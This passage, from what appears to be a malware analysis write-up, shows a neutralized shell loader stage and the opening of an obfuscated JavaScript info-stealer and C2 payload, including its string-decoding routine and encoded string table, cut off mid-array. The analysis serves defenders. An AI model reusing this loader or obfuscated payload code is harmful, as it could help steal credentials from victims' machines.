&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; [ -f &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.vscode&#x2F;env-setup.js&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; ];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;[INFO] Running env-setup.js...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;    # &amp;quot;$NODE_EXE&amp;quot; &amp;quot;$HOME&#x2F;.vscode&#x2F;env-setup.js&amp;quot; &amp;lt;-- [EXECUTION NEUTRALIZED]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;[ERROR] env-setup.js not found.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;[SUCCESS] Script completed successfully.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This secondary script has two jobs:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Provision Node.js:&lt;&#x2F;strong&gt; It silently downloads and installs a portable, standalone Node.js binary. The attacker does not rely on the victim having Node installed.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Payload Delivery:&lt;&#x2F;strong&gt; It downloads the Stage 3 payload—a heavily obfuscated JavaScript file—and executes it using the newly provisioned Node runtime.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;deconstructing-the-payload-stage-3&quot;&gt;Deconstructing the Payload (Stage 3)&lt;&#x2F;h2&gt;
&lt;p&gt;In many traditional attacks, Stage 3 downloads a compiled binary (Stage 4). However, this JavaScript payload is the end of the hardcoded line. It acts as an advanced Command and Control (C2) agent and an info-stealer.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;const&lt;&#x2F;span&gt;&lt;span&gt; _0x5650f6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; _0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;_0x1ca2c0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style: italic;&quot;&gt; _0x22f8ca&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  _0x1ca2c0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; -=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 164&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x13b2b6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; _0x363b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  let&lt;&#x2F;span&gt;&lt;span&gt; _0x1fc9b5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x13b2b6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;_0x1ca2c0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;  if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;_0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;vVHMoe&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; === undefined&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    _0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;IEHMvl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt; function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;_0x5008a2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;      let&lt;&#x2F;span&gt;&lt;span&gt; _0x160a8e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = &amp;quot;&amp;quot;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;      let&lt;&#x2F;span&gt;&lt;span&gt; _0x158494&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = &amp;quot;&amp;quot;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;      for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; _0x5d9a59&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; _0x367474&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; _0x2c8694&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; _0x3943d4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; _0x367474&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x5008a2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;charAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x3943d4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;; ~&lt;&#x2F;span&gt;&lt;span&gt;_0x367474&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;_0x5d9a59&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x2c8694&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; ?&lt;&#x2F;span&gt;&lt;span&gt; _0x5d9a59&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; _0x367474&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span&gt; _0x367474&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; _0x2c8694&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;++ %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; ?&lt;&#x2F;span&gt;&lt;span&gt; _0x160a8e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;fromCharCode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x5d9a59&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;_0x2c8694&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; * -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 255&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        _0x367474&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+&#x2F;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;indexOf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x367474&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;      for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; _0x5d911f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; _0x3fb6a0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x160a8e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;length&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; _0x5d911f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; _0x3fb6a0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; _0x5d911f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        _0x158494&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; += &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; +&lt;&#x2F;span&gt;&lt;span&gt; _0x160a8e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;charCodeAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x5d911f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;toString&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;slice&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;      return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; decodeURIComponent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x158494&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    _0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;iMiDpW&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = {};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    _0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;vVHMoe&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF9CAC;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0xf0e045&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x1ca2c0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; _0x13b2b6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x1cbbf4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;iMiDpW&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;_0xf0e045&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;  if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;_0x1cbbf4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    _0x1fc9b5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x1cbbf4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    _0x1fc9b5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;IEHMvl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x1fc9b5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    _0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;iMiDpW&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;_0xf0e045&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x1fc9b5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;  return&lt;&#x2F;span&gt;&lt;span&gt; _0x1fc9b5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; _0x363b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x269185&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;owL4s1D0vG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;mda6mda6mda6mda6mda6mda&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;C3rYAw5NAwz5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;zNjVBq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;zxjYB3i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;otGYnJe3u1bQsKf2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, 